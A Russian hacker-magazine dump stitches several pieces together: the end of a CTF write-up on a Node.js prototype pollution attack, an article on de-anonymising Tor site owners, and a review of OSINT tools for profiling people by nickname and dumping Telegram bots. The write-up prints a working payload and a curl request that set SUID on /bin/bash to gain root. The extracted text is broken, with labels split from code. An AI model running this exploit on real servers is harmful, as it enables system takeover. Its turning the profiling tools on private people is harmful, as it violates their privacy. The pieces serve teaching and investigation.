Про тоти пы — это обыч ные объ екты, а зна чит, их мож но модифи циро вать.
Добав ление свой ства к про тоти пу при ведет к тому, что все сущес тву ющие
объ екты это го типа тоже будут иметь новое свой ство.

Мож но про верить на при мере пус того объ екта . Добавим к его про- 

тоти пу свой ство , потом соз дадим новый объ ект  такого же типа, и у

него тоже будет свой ство .

obj_1
x obj_2

x

Про вер ка свой ства про тоти па

В коде мы видим выпол нение фун кции , что при водит к соз данию нового

про цес са. Для таких слу чаев уже есть мно го готовых наг рузок, экс плу ати- 
рующих prototype pollution, которые очень лег ко най ти в интерне те.

exec

Так, мы можем уста новить  для акти вации допол нитель ных

аргу мен тов коман дной стро ки про цес са. Не все аргу мен ты получит ся уста- 
новить, но один из допус тимых — , который мож но исполь зовать

для вклю чения любого фай ла.

NODE_OPTIONS

--require

Обыч ный спо соб экс плу ата ции такой уяз вимос ти — вста вить новую
перемен ную сре ды перед , которая содер жит код JavaScript

и име ет завер шающий ком мента рий, что бы избе жать син такси чес ких оши- 
бок. Одна ко Node.js теперь по-дру гому обра баты вает параметр

 и помеща ет его пер вым в спис ке аргу мен тов, что не дает экс- 

плу ати ровать уяз вимость.

NODE_OPTIONS

NODE_OPTIONS

Од нако и это мож но обой ти — за счет опций самой фун кции . Пер вый

ее аргу мент — , он ука зыва ет пер вый эле мент в спис ке аргу мен тов

нового про цес са (обыч но это исполня емый дво ичный файл). Весь спи сок
аргу мен тов отра жен в фай ле , поэто му пер вый эле мент

будет рас положен в самом начале. Таким обра зом, ата кующий дол жен изме- 
нить зна чение  на  и помес- 
тить свою наг рузку в .

exec
argv0

/proc/self/cmdline

NODE_OPTIONS --require /proc/self/cmdline
argv0

Ос талось решить пос леднюю проб лему. Так как пер вый аргу мент теперь
изме нен, про цесс запус тится, пос коль ку теперь это наг рузка Node.js, а не
путь к фай лу. Но в опции  мож но ука зать путь к фай лу коман дной обо- 
лоч ки, который будет исполь зован для запус ка коман ды. Вмес то 

мож но задать исполня емый файл Node.js, который и выпол нит нашу наг рузку
в пер вом парамет ре. Раз мы и так работа ем из Node.js, путь к исполня емо му
фай лу мож но взять из .

shell
/bin/sh

/proc/self/exe
Со бира ем наг рузку и можем экс плу ати ровать prototype pollution.

{
   "text":
   {
       "constructor":
       {
           "prototype":
           {
               "shell":"/proc/self/exe",
               "argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//",
               "NODE_OPTIONS":"--require /proc/self/cmdline"
           }
       }
   }
}

Эта наг рузка уста новит S-бит фай лу коман дной обо лоч ки . Отправ- 
ляем зап рос с наг рузкой на сер вер.

/bin/bash

 

  
  

curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoicmFsZiIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6M
TY3NTMzODg4MCwiZXhwIjoxNjc1MzQyNDgwfQ.
SLKZoNeaTGU0mr22ue2C3AB1htN5VAU7ZS0rZCpCEhs" -H "content-type: 
application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/
proc/self/exe","argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS":
"--require /proc/self/cmdline"}}}}'

Сер вер отве тил , про верим пра ва на файл .{"Status":"Ok"} /bin/bash

Пра ва на файл /bin/bash

Ат рибут SUID уста нов лен, а это зна чит, что обыч ный поль зователь, запус- 
кающий этот файл на исполне ние, получа ет повыше ние прав до поль зовате- 
ля — вла дель ца фай ла в рам ках запущен ного про цес са. В дан ном слу чае
это .root

Флаг рута

Ма шина зах вачена, и мы получа ем флаг.

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://gist.githubusercontent.com/phith0n/9615e2420f31048f7e30f3937356cf75/raw/ffd7aa5b3a75ea903a0bb9cc106688da738722c5/fpm.py
https://github.com/develar/7zip-bin/blob/master/linux/x64/7za
https://github.com/advisories/GHSA-2m96-9w4j-wgv7
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ПРИВАТНОСТЬ

В этой статье я рас ска жу о том, как вычис- 
ляют адми нис тра торов ресур сов в Tor
Network, то есть в дар кве бе. Мы рас смот- 
рим струк туру сай тов в Tor, обсу дим извес- 
тные слу чаи деано на и мно гие дру гие осо- 
бен ности это го тем ного угол ка интерне та,
который счи тает ся ано ним ным. По ходу
дела я буду рекомен довать прог раммы,
которые помогут в работе.

Ду маю, ты уже в кур се, что сай ты, адрес которых закан чива ется на .onion, —
не прос тые и без допол нитель ных уси лий открыть их в обыч ном бра узе ре
не вый дет. Так называ емый дар квеб сос тоит из таких вот сай тов. Очень час то
они пос вящены тор говле незакон ными товара ми и услу гами. Конеч но, ведь
адми нис тра торам этих сай тов не при ходит ся запол нять свои кон так тные дан- 
ные при регис тра ции, никакой цен зуры нет, а «луковая» мар шру тиза ция через
череду прок си-сер веров дол жна обес печивать ано ним ность.

Сай ты в Tor Network не индекси руют ся обыч ными поис ковика ми, зато
сущес тву ют спе циали зиро ван ные поис ковики, которые ищут толь ко в Tor.
В общем, как ты понял, это целый отдель ный мир.

ÊÀÊ ÐÀÁÎÒÀÅÒ TOR NETWORK

При обыч ной пря мой IP-мар шру тиза ции все отно ситель но прос то: один узел
дела ет зап рос по какому-то адре су, дру гой отве чает на тот же адрес,
с которо го пос тупил зап рос. В луковой же мар шру тиза ции любой зап рос сна- 
чала про ходит через три узла, называ емых нодами Tor. По умол чанию вход ной
и выход ной узлы шиф руют информа цию так, что бы она прош ла через сле- 
дующий узел.

Иде аль ная защита от слеж ки? Не сов сем. Любой в теории может сде лать
свой компь ютер узлом-пос редни ком и собирать дан ные о зап росах. Ты спро- 
сишь, кому это нуж но, если информа ция зашиф рована? А что, если ата- 
кующий будет собирать часть информа ции до шиф рования, заразив вход ную
ноду? Или наобо рот — выход ную, и получать дан ные о зап рашива емых
ресур сах? Имен но вто рой вари ант наибо лее рас простра нен ный.

К тому же зло умыш ленник может модифи циро вать или пол ностью изме- 
нить информа цию, переда ваемую от сер вера кли енту. Так мож но даже
заразить устрой ство кли ента вре донос ным кодом.

В 2020 году была обна руже на хакер ская груп пиров ка KAX17, которая
управля ла 900 заражен ными сер верами, к которым обра щалось до 16%
поль зовате лей Tor.

Вот нес коль ко инс тру мен тов, которые помога ют иссле довать ноды Tor:
 — спи сок нод;• TOR Node List

 — про вер ка IP на исполь зование в качес тве нод Tor;• ExoneraTor
 — информа ция о нодах;• Onionite

 — информа ция о нодах;• Tor Metrics
 — архив IP и пор тов узлов.• Collector Tor

Как и в обыч ном интерне те, сай ты в Tor могут получать от кли ента информа- 
цию о раз решении экра на, количес тве ядер компь юте ра и дру гих парамет рах,
которые в совокуп ности могут сос тавлять уни каль ный отпе чаток.

Имен но поэто му экспер ты совету ют не вклю чать JavaScript на сай тах
в дар кне те или как минимум не исполь зовать бра узер в пол ноэк ранном
режиме, что бы не выдавать раз мер экра на. Циф ровой отпе чаток — это,
конеч но, не так страш но, как нас тоящие лич ные дан ные, но поз воля ет
выделить уни каль ного посети теля из опре делен ного количес тва.

«ËÓÊÎÂÀß» DNS

Раз ведка через Whois и сер висы типа DNSdumpster в сети Tor прос то невоз- 
можна, ведь лукович ная сис тема доменов работа ет сов сем не так, как обыч- 
ная. Вот ее основные отли чия:
1. Су щес тву ет толь ко еди ная домен ная зона .onion, домены сос тоят из сге- 

нери рован ных иден тифика торов, из-за чего в прин ципе отсутс тву ет та
самая иерар хичес кая струк тура с TLD, SLD и под домена ми.

2. Де цен тра лизо ван ное хра нение — это глав ная проб лема собира юще го
информа цию, ведь из-за него невоз можно пос лать зап рос к Whois. В клас- 
сичес кой DNS информа ция о доменах и соот ветс тву ющих им IP-адре сах
хра нит ся на цен тра лизо ван ных DNS-сер верах. В Tor информа ция
о доменах .onion и их адре сах хра нит ся на рас пре делен ных узлах в сети
Tor.

3. От лича ются и про токо лы. Если в клас сичес кой DNS исполь зуют ся зап росы
UDP и TCP-зап росы, то сис тема DNS в Tor нап рямую обра щает ся к рас- 
пре делен ным узлам хра нения, что бы получить нуж ный адрес.

 — неч то вро де сер виса Whois для Tor.
Поз воля ет получить информа цию об откры тых
пор тах, сер тифика тах, клю чах и информа цию
о robots.txt.

TorWhois

Есть , которое показа ло, что DNS-тра фик в сети Tor мож но
исполь зовать для точ ного опре деле ния посеща емых сай тов. Иссле дова тели
раз ными метода ми ана лизи рова ли DNS-зап росы, про ходя щие через выход- 
ные узлы Tor, и выяс няли кор реляции этих зап росов с кон крет ными сай тами.

ис сле дова ние

Мож но прос то искать в зап росах домены. Пос коль ку в адре сах .onion
домены сос тоят из сге нери рован ных иден тифика торов, их лег ко срав нивать
с иден тифика тора ми в DNS-зап росах и уста нав ливать соот ветс твия. Это поз- 
воля ет опре делить, какие кон крет ные сай ты поль зователь посещал через Tor.

В ред ких слу чаях адми нис тра торы не уда ляют метадан ные у фай лов, раз- 
мещен ных на сай те, а метадан ные могут вклю чать такую информа цию,
как модель фото аппа рата, имя, геоло кация и мно гое дру гое. Сей час даже
обыч ные соц сети уда ляют метадан ные при заг рузке фай лов.

ÑÒÐÓÊÒÓÐÀ ÑÀÉÒÎÂ

Сай ты в Tor исполь зуют обык новен ные CMS, как и сай ты в «клир нете». Конеч- 
но, внут ри всё те же HTML, CSS и дру гие при выч ные тех нологии. То есть тут
нет ничего уди витель ного и нового. На скрин шоте ты можешь уви деть, что
автор сай та сде лал его на Bootstrap. А исполь зование популяр ных тех- 
нологий, конеч но, откры вает воз можность для авто мати зации ауди та в целях
раз ведки. Для это го есть:

Onionscan (аудит onion-сай та);•
Onion Nmap (Nmap для onion-сай та);•
OWASP ZAP (ска нер);•
Nikto (ска нер);•
WPScan (ска нер);•
Burp Suite (ска нер);•
Wapiti (ска нер);•

.• спи сок уяз вимос тей на Mitre.org

ÒÅÍÅÂÀß ÝÊÎÍÎÌÈÊÀ

Ча ще все го дар квеб исполь зуют для тор говли зап рещен ными товара ми
и услу гами. Выручен ные день ги потом нуж но как-то выводить, и здесь тор- 
говцы зап рещен ным изоб рета ют самые изощ ренные схе мы. Обыч но —
с исполь зовани ем крип товалю ты. Имен но на эта пе вывода денег чаще все го
и попада ются вла дель цы мар кет плей сов.

Пред ставь: кли ент покупа ет крип ту, покупа ет на нее что-то в дар кне те,
крип товалю та хра нит ся на депози те мар кет плей са, затем боль шая часть
перехо дит про дав цу, а даль ше он пыта ется ее обме нять на фиат ную валюту.

По луча ется, что мож но уста новить, каким обменни ком поль зует ся про- 
давец, если знать адрес его крип товалют ного кошель ка. Для это го дос таточ- 
но визу али зиро вать его активность с помощью спе циаль ной прог раммы.
На кошель ке обменни ка, конеч но же, будет огромное чис ло тран закций
и немалая сум ма денег.

Ви зуали зато ры зачас тую плат ные, но есть и нес коль ко бес плат ных:
;• Breadcrumbs

;• OXT.ME
.• Blockpath

Час то при отмы ве денег при меня ются крип товалют ные мик серы. Они поз- 
воля ют скры вать крип товалют ные акти вы, рас пре деляя их по мно жес тву дру- 
гих кошель ков, и затем сно ва перево дят в один. Это усложня ет отсле жива ние
тран закций, но не дела ет их пол ностью ано ним ными.

Ес ли визу али зиро вать тран закции кошель ка, который исполь зовал мик- 
сер, мож но заметить сле дующие осо бен ности:

мно жес тво вхо дов и выходов в одной тран закции, вклю чая адре са, не свя- 
зан ные с исходным кошель ком;

•

пе реме шива ние средств меж ду раз ными адре сами и кошель ками;•
свя зи с дру гими тран закци ями — цепоч ки и клас теры тран закций, свя зан- 
ные с бит коин-мик сером;

•

не одно род ность сумм тран закций;•
не обыч ные вре мен ные интерва лы меж ду тран закци ями.•

Най ти нас тоящий адрес покупа теля тяжело, но впол не реаль но. Одна ко
ПО для ана лиза тран закций мик серов в откры том дос тупе пока что нет.
Поэто му при ходит ся прос то идти по цепоч ке тран закций, пока не най дешь
что-то похожее на кошелек, при над лежащий челове ку.

Как ты понял, отмыв денег и их отсле жива ние — это отдель ная боль шая
тема. Но знать о ней нуж но, хотя бы на базовом уров не. Сущес тву ет
огромное количес тво схем легали зации средств, получен ных прес тупным
путем, — от соз дания офшорных орга низа ций до покуп ки раз ного иму щес тва.
Все это, мы, конеч но, здесь раз бирать не будем.

ÏÎÈÑÊÎÂÈÊÈ

По иско вики и дор ки (рецеп ты зап росов) всег да были глав ным ору жием сов- 
ремен ного OSINT-спе циалис та, и в сети Tor всё точ но так же. Давай пос- 
мотрим, какие поис ковики ищут по дар кве бу.

Вот поис ковые сис темы, дос тупные в клир нете и индекси рующие onion-
сай ты:

;• Onion Search Engine
;• Torry

;• OnionLand Search
;• Tor Search

;• OnionSearch
.• DuckDuckGo

Мно гие из них удоб ны и поз воля ют ком биниро вать резуль таты из клир нета
и дар кве ба.

А вот спи сок поис ковых сис тем, у которых есть сай ты в сети Tor (ссыл ки
при веде ны на onion-адре са):

;• DuckDuckGo
;• Not Evil

;• Ahmia
;• Haystak

;• Torch
.• Demon

С эти ми сис темами мож но про бовать базовые дор ки вро де поис ка точ ного
сов падения (двой ные кавыч ки), ука зания сай та, на котором искать (опе ратор

), опе рато ра  и про чих в том же духе. В боль шинс тве поис ковиков

это сра бота ет.

site intext

Под робнее о дор ках читай в стать ях «

» и «
».

Ис поль зуем
мало извес тные фун кции Google, что бы най ти сок- 
рытое Google как средс тво взло ма. Раз бира- 
ем акту аль ные рецеп ты Google Dork Queries

Ес ли наша цель — вычис лить адми нис тра тора форума, то в ход идут любые
при емы раз ведки. Нап ример, если извес тны его инте ресы, то мож но прой- 
тись по темати чес ким форумам в поис ках упо мина ния его ник ней ма.

Вот при мер зап роса, который выдаст резуль тат поис ка по архи ву форума
«Хакера» в поис ках поль зовате ля moon:

site:oldforum.xakep.ru intext:moon 

Кста ти, о темати чес ких форумах. Есть вики, которые кол лекци они руют ссыл ки
на сай ты в дар кве бе, и отту да лег ко почер пнуть под борку адре сов кри- 
миналь ных форумов. Вот некото рые из них:

;• The Hidden Wiki
;• IACA DarkWeb
;• DarkWeb Links

.• The DarkWeb Links

Ес ли ты зна ешь, что человек увле кает ся, нап ример, чте нием, можешь про- 
верить соот ветс тву ющие раз делы форумов.

Поль зовате ли форумов и адми нис тра торы мар кет плей сов тоже не роботы,
так что им свой ствен но допус кать ошиб ки. К при меру, кто-то может отпра вить
свою фотог рафию челове ку, с которым поз накомил ся в интерне те. Я лич но
слы шал о нес коль ких слу чаях, ког да задер живали адми нис тра торов круп ней- 
ших нелегаль ных пло щадок, пред лагая встре тить ся. Экспер ты исполь зуют
самые раз ные ловуш ки и ханипо ты, что бы под сунуть прес тупни ку файл, ссыл- 
ку, а иног да целое фей ковое при ложе ние или мар кет плейс.

ËÎÂÓØÊÈ

Ло вуш ки вро де IP Logger или Canary Tokens — это самое прос тое и малобюд- 
жетное, что быва ет. В слу чае с Canary Tokens ты можешь раз вернуть свой
сер вер с помощью готово го  для Doсker, который любез но пре дос- 
тавили нам раз работ чики. У это го инс тру мен та мно го инте рес ных воз можнос- 
тей, и, на мой взгляд, его час то недо оце нива ют.

об раза

Что до IP Logger, то не рекомен дую исполь зовать его при попыт ках выс- 
ледить про фес сиона лов. Эта прог рамма ско рее напоми нает дет скую
игрушку, а не рабочий инс тру мент, и мало-маль ски прод винутый поль- 
зователь сра зу заподоз рит недоб рое.

ÔÈÍÃÅÐÏÐÈÍÒÈÍÃ

Пос коль ку сай там в Tor не зап рещено исполь зовать все стан дар тные тех- 
нологии, здесь может работать и фин гер прин тинг — отсле жива ние поль- 
зовате лей через уни каль ные отпе чат ки.

Для при мера заг лянем на сайт . Сер вис без проб лем опре- 
делит вер сию движ ка, ОС, язык, шриф ты, пла гины и с некото рой точ ностью —
под держи ваемые бра узе ром аудио- и виде опла гины. Это слож но наз вать
точ ной иден тифика цией, но выделить одно го подоз рева емо го из тысячи
может помочь.

AmIUnique.org

Tor Browser  раз решение экра на, что бы зат руднить
иден тифика цию, плюс поль зовате ли могут сами под менить отпе чаток
на осно ве тега canvas. Все это дела ет фин гер прин тинг менее точ ным, но не
пре дот вра щает его пол ностью.

спе циаль но мас киру ет

Есть и более изощ ренные так тики, осно ван ные на фин гер прин тинге. Не все
зна ют, что если открыть Tor Browser и обыч ный и потом перек лючать ся меж ду
ними горячи ми кла виша ми или мышью, то мож но выдать связь сво его реаль- 
ного IP и IP в сети Tor. Под водят уни каль ные законо мер ности вро де положе- 
ния кур сора мыши, которое мож но отсле дить. То же каса ется и исполь- 
зования двух вкла док в Tor Browser. Tor будет исполь зовать для них раз ные
вход ные узлы, но, если вклю чен JavaScript, вза имос вязь меж ду табами все же
мож но будет уста новить.

ÀÍÀËÈÇ ÒÅÊÑÒÀ

Не сек рет, что у каж дого свой стиль сооб щений в соци аль ных сетях, и адми- 
нис тра торы форумов и мар кет плей сов не исклю чение. Кто-то час то ста вит
про белы перед запяты ми, кто-то не фанат про пис ных букв, а у кого-то прос то
сло мана кла виату ра и какая-то кноп ка час то не нажима ется.

Все эти малень кие осо бен ности помогут най ти дру гие акка унты на дру гих
форумах, в соци аль ных сетях и так далее. Говорят, что имен но такие ошиб ки
допус кал Росс Уль брихт, вла делец круп ного мар кет плей са Silk Road.

ÊÐÀÓËÅÐÛ, ÑÏÀÉÄÅÐÛ, ÑÊÐÅÏÅÐÛ

Су щес тву ют раз ные типы инс тру мен тов для сбо ра дан ных в интерне те.
 (кра улер) — это прог рамма, которая авто мати чес ки обхо дит сай- 

ты и собира ет информа цию. Она работа ет подоб но паукам, но спо соб на
собирать информа цию раз ных типов.

• Crawler

 (скре пер) — прог рамма, которая извле кает дан ные с веб-сай тов,

час то авто мати чес ки, и сох раня ет их в струк туриро ван ном фор мате
для даль нейше го исполь зования или ана лиза.

• Scraper

 (паук) — прог рамма, которая авто мати чес ки перехо дит по ссыл кам

на сай тах, ана лизи рует содер жимое стра ниц и индекси рует их для поис ка
или дру гих целей.

• Spider

Эти инс тру мен ты полез ны при ана лизе сай тов в сети Tor. Они помога ют соб- 
рать информа цию о фотог рафи ях, дирек тори ях и самую раз ную информа цию
о струк туре сай тов. Инте рес ны они тем, что дают мак симум све дений о том,
что про исхо дит на сай те, без посеще ния самого сай та.

Нач нем с кра уле ров, их мож но исполь зовать для сбо ра опре делен ного
типа дан ных на сай те, к при меру фото, видео, тек ста и так далее. Нап ример,
ты хочешь переб рать все фото на сай те и най ти те, которые содер жат
метадан ные.

Вот нес коль ко кра уле ров для Onion:
;• TorBot

;• OnionBot
;• OnionScan

;• VigilantOnion
.• OnionIngestor

Скре перы работа ют по задан ному алго рит му, который опре деля ет, какие
дан ные нуж но собирать и как их извле кать. Обыч но они дела ют зап росы
к сер веру, а затем ана лизи руют получен ный HTML, что бы извлечь нуж ную
информа цию. В ход идут раз ные методы раз бора стра ниц — пар синг HTML,
поиск по тегам и клас сам CSS, регуляр ные выраже ния и так далее. Час то сай- 
ты выг ружа ются целиком для даль нейше го ана лиза.

Вот некото рые прог раммы и биб лиоте ки для скре пин га:
;• Scrapy

;• BeautifulSoup
;• Selenium

;• Puppeteer
.• Frontera

Па уки же пред назна чены для индекса ции сотен и тысяч ссы лок. Для Tor
сущес тву ют  и .Onioff Onion Spider

ÔÎÐÅÍÇÈÊÀ

Под конец нем ного зат ронем тему форен зики, а не OSINT. При судеб но-тех- 
ничес кой экспер тизе компь юте ра, на котором исполь зовал ся Tor, в пер вую
оче редь сто ит про верять:
1. Пап ку , где могут находить ся фай лы, свя зан ные

с запус ком Tor Browser (исполня емый файл бра узе ра или фай лы DLL, заг- 
ружа емые при его работе). Ана лиз их вре мен ных меток поз воля ет уста- 
новить, ког да запус кался бра узер.

C:\Windows\Prefetch

2. Кеш мини атюр. В нем могут сох ранять ся превью изоб ражений, прос- 
мотрен ных через Tor. Их мож но сопос тавить с опре делен ными сай тами.

3. Файл под качки. Здесь тоже может быть инфа о запус ке бра узе ра, посеще- 
нии сай тов и фай ловых опе раци ях, свя зан ных с исполь зовани ем Tor.

4. Ре естр Windows. Помога ет извлечь нас трой ки бра узе ров, исто рию
посеще ний, кеширо ван ные дан ные, а так же записи о заг ружен ных рас- 
ширени ях и пла гинах.

Ана лиз дам пов — так же неотъ емле мая часть судеб но-тех ничес кой экспер- 
тизы. В них содер жится мас са информа ции о том, что про исхо дило на компь- 
юте ре. Зах ватить дамп опе ратив ной памяти мож но, к при меру, при помощи
Belkasoft RAM Capturer.

Для ана лиза реес тра может при годить ся прог рамма .Regshot
Для ана лиза сетево го тра фика рекомен дую Wireshark и NetworkMiner.

Wireshark хорош для выяв ления раз ных типов пакетов и фак тов уста нов ки свя- 
зей меж ду узла ми. Он помога ет иден тифици ровать харак терис тики про токо- 
лов, исполь зуемых в Tor. А NetworkMiner спе циали зиру ется на ана лизе
сетево го тра фика и выяв лении скры тых свя зей и законо мер ностей.
NetworkMiner может помочь в обна руже нии и ана лизе активнос ти в сети Tor,
вклю чая обмен информа цией и исполь зование ано ним ных прок си-сер веров.

И конеч но, нуж но изу чить базу дан ных самого Tor Browser. Она находит ся
по такому пути:

TorBrowser\Browser\TorBrowser\Data\Browser\Profile.default 

Здесь при опре делен ных нас трой ках бра узе ра может хра нить ся исто рия
прос мотра, зак ладки, сох ранен ные пароли, cookie и дру гие поль зователь ские
дан ные.

Изу чение дан ных кошель ков Bitcoin — тема отдель ная и слож ная, но для
сбо ра доказа тель ств мож но исполь зовать Internet Evidence Finder.

ÂÛÂÎÄÛ

При видимой ано ним ности сай тов в Tor всег да есть спо собы иден тифици- 
ровать их вла дель цев. Да, некото рые из них слож ны и тре буют серь езной
работы, но, пос коль ку адми нис тра торы тоже совер шают ошиб ки, нет-нет
да сра баты вают. Рекомен дую всем, кто занима ется подоб ными рас сле дова- 
ниями, не забывать при менять не толь ко опи сан ные так тики, но и те методы,
которые сра баты вают и в клир нете.
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ТРЮКИ

OSINT, то есть раз ведка по откры тым
источни кам, быва ет чрез вычай но полез на,
осо бен но при рас сле дова нии инци ден тов.
Теорию — что и где искать — зна ют поч ти
все, но на прак тике мас сивы дан ных ока- 
зыва ются нас толь ко боль шими, что переб- 
рать их руками прос то невоз можно, и рас- 
сле дова ние оста нав лива ется. В этой статье
я покажу нес коль ко кру тых инс тру мен тов,
которые облегчат работу и помогут
не запутать ся в огромном количес тве дан- 
ных.

Статья опуб ликова на исклю читель но в обра зова- 
тель ных целях, а автор и редак ция не несут
ответс твен ности за любой воз можный вред, при- 
чинен ный исполь зовани ем матери алов этой пуб- 
ликации. Сбор информа ции о час тной жиз ни
граж дан без их сог ласия незако нен. OSINT —
это поиск в откры тых источни ках тех дан ных,
которые люди сами оставля ют в пуб личном дос- 
тупе. Но даже в этом слу чае наруше ние чужой
при ват ности может быть незакон ным.

В этой статье я покажу пять инс тру мен тов для ана лиза откры тых дан ных в соц- 
сетях и Telegram.

1. YASEEKER

YaSeeker поз воля ет получить информа цию о любой учет ной записи Yandex.
Нуж но прос то ввес ти ник нейм поль зовате ля, а скрипт сде лает все сам.
Получа ется неп лохой инс тру мент для поис ка челове ка по ник ней му, если ты
зна ешь, что у него есть учет ная запись Яндекса.

Ус танав ливать все ути литы из это го обзо ра я буду на Kali Linux, но в дру гих
дис три бути вах семей ств Debian и Ubuntu уста нов ка вряд ли будет отли чать ся.

Ка чаем YaSeeker с GitHub и ста вим зависи мос ти.

git clone https://github.com/HowToFind-bot/YaSeeker.git 
cd YaSeeker 
pip  install -r requirements.txt 

Ус танов ка YaSeeker

Пос коль ку Яндекс не очень любит отда вать дан ные кому попало (по край ней
мере офи циаль но), нуж но под кинуть инс тру мен ту фай лы cookies, что бы тот
прит ворил ся реаль ным поль зовате лем. Для это го мож но зарегис три ровать
любой одно разо вый акка унт Яндекса и уста новить рас ширение для заг рузки
фай лов cookies в фор мате Netscape.

Рас ширение cookies.txt дос тупно для 
и . Но не обя затель но исполь зовать имен но
его — прос то поищи в магази не рас ширений «get
cookies txt».

Chrome
Firefox

С вклю чен ным рас ширени ем перехо дим на Яндекс и сох раня ем cookies.txt
(если рас ширение спро сит, для какого сай та сох ранять кукисы, выбирай
Current Site). Удоб нее все го будет сра зу сох ранить файл в каталог YaSeeker.
Наз вать его нуж но имен но , потому что нас тро ить путь к фай лу

с куками нель зя.

cookies.txt

Сох раня ем cookies

Те перь, ког да печень ки для работы есть, можем при менять скрипт. Прос то
запус ти его через  и передай аргу мен том имя поль зовате ля,
о котором хочешь узнать поболь ше.

python3

Кто-то с ником login

Инс тру мент выводит информа цию о сер висах Яндекса, которы ми поль зует ся
вла делец учет ной записи. Для рас сле дова ний в рус ско языч ном сег менте
интерне та YaSeeker может очень при годить ся, и будет нелиш ним вклю чить
его в свою кол лекцию. Осо бен но если авто мати зиро вать его запуск вмес те
с подоб ными инс тру мен тами из одно го скрип та.

2. ENOLA HOLMES

Enola — это ана лог куда более широко извес тно го инс тру мен та .
Авто ры ути литы гор до наз вали ее в честь сес тры Шер лока — Эно лы Холмс.
Этот вари ант написан на Go и работа ет нес коль ко быс трее.

Sherlock

Enola уме ет искать поль зовате лей по никам на чуть менее чем 400 сер- 
висах и име ет куда более при ятный интерфейс, чем Sherlock.

Ус танов ка дос тупна в двух вари антах: прос том и для любите лей язы ка Go.
Я себя отно шу ко вто рым, поэто му поз волю себе чуть более длин ный путь.

Сна чала нуж но кло ниро вать :ре пози торий

git clone https://github.com/TheYahya/enola.git 

За тем перехо дим в дирек торию  и собира ем бинар ник
коман дой .

enola/cmd/enola
go build

По явит ся исполня емый файл , который мож но запус тить: .enola ./enola

Аль тер натив ный спо соб уста нов ки тоже тре бует наличия Go (вер сии
не ниже 1.19), но дела ется все го в одну коман ду:

go install github.com/theyahya/enola/cmd/enola@latest 

Те перь мож но запус тить Enola и пос мотреть, как она спра вит ся с поис ком
слу чай ного ника из какого-то чата.

Ре зуль таты поис ка

Как видишь, поль зовать ся лег ко, а под сказ ки по всем хот кеям дос тупны
на ниж ней панели. Еще из пре иму ществ — запус кает ся прос то, очень быс тро,
а резуль таты выводят ся мгно вен но.

3. TELEGRAM-BOT-DUMPER

Этот инс тру мент весь ма при годит ся, ког да в тво их руках ока зал ся токен бота
в Telegram, — нап ример если ты рас сле дуешь зараже ние каким-то вре доно- 
сом, который управлял ся как Telegram-бот. Скрипт дос танет перепис ки всех
поль зовате лей с ботом, вклю чая не толь ко тек сто вые сооб щения, но и все
меди афай лы. Так что Telegram-bot-dumper — не толь ко инс тру мент OSINT,
но и прос то полез ная в жиз ни шту кови на.

Для работы пот ребу ется  API_ID и API_HASH при ложе ния
для Telegram, поэто му желатель но соз дать левый акка унт — осто рож ность
не быва ет лиш ней. Ты же не хочешь, что бы в слу чае чего в бан полетел твой
лич ный акк?

по лучить

Инс тру мент ска чива ем и уста нав лива ем, как любое Python-при ложе ние:
кло ниру ем , перехо дим в его каталог и ста вим зависи мос ти.ре пози торий

git clone https://github.com/soxoj/telegram-bot-dumper 
cd telegram-bot-dumper 
pip  install -r requirements.txt 

Пе ред запус ком нуж но открыть файл  любым редак тором

и поменять перемен ные  и  на свои.

dumper.py
API_ID API_HASH

Ус танов ка Telegram-bot-dumper

За пус каем:

python3 dumper.py --token <токен> 

Скрипт ска чает всю исто рию, до какой смо жет дотянуть ся, и оста нет ся слу- 
шать новые сооб щения. Что бы оста новить его, дос таточ но нажать Ctrl-C.

Ис тория ска чалась

К сожале нию, инс тру мент не уме ет сам опре делять, ког да поль зователь уда- 
лил часть сооб щений, и может сдам пить не всю исто рию. Что бы это испра- 
вить, исполь зуй параметр , где  — количес тво пачек

по 200 сооб щений (по умол чанию), которые инс тру мент поп робу ет сдам пить
допол нитель но. Обра ти вни мание, что уда лен ные сооб щения таким обра зом
дос тать все рав но не получит ся, но есть шанс получить более ран ние.

--lookahead N N

Скрипт полезен как минимум для того, что бы оце нивать мас штаб бедс твия
(объ ем укра ден ных при ата ке дан ных), а в слу чаях атак с управле нием через
Telegram-бота — еще и вос ста новить хро ноло гию.

Продолжение статьи →
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4. SOCID-EXTRACTOR

Socid-extractor поз воля ет выг ружать информа цию о про филе из мно гих сер- 
висов, которые под держи вает Enola, но дела ет это с уров нем под робнос тей
как у YaSeeker. Отоб ража ется мно го деталей, а не прос то факт регис тра ции
поль зовате ля в каком-то сер висе.

Важ ный момент: API самих сер висов обыч но не исполь зуют ся, поэто му
объ ем информа ции, конеч но, помень ше, чем мог бы быть, зато сам скрипт
работа ет очень быс тро и не тре бует уто митель ной нас трой ки с получе нием
API-клю чей от сотен сер висов.

Socid-extractor име ет смысл запус кать в связ ке с дру гими подоб ными инс- 
тру мен тами — вро де того же YaSeeker.

Ус танав лива ется Socid-extractor все так же:

git clone https://github.com/soxoj/socid-extractor 
cd socid-extractor 
pip  install -r requirements.txt 

Те перь мы можем прос мотреть информа цию об инте ресу ющем нас челове ке.
Для при мера мож но взять «Вкон такте».

Инс тру мент вывел фамилию, имя, дату регис тра ции и пос ледне го обновле- 
ния, информа цию о том, акти вен ли акка унт и явля ется ли он при ват ным.
Для пер вого под хода к сбо ру дан ных впол не дос таточ но.

5. TELANALYSIS

На слад кое у меня есть инте рес ный инс тру мент для ана лиза чатов в Telegram.
Если точ нее, TelAnalysis ана лизи рует файл исто рии чата и выпол няет все дей- 
ствия без учас тия API и при ложе ния Telegram, как это обыч но быва ет в скрип- 
тах, которые работа ют с дан ными Telegram.

Чи тай так же: «Пар сим телегу. Как собирать име на
учас тни ков чатов в Telegram

TelAnalysis выпол няет в основном ста тичес кий ана лиз чата: соз дает спи сок
и граф самых активных учас тни ков, выводит топ самых час тых слов в чате
и обла ко тегов (кар тинку, где сло ва записа ны раз ным раз мером в зависи мос- 
ти от популяр ности). Так же он уме ет выводить общую информа цию о каж дом
поль зовате ле. Допол нитель но мож но сге нери ровать топ слов каж дого
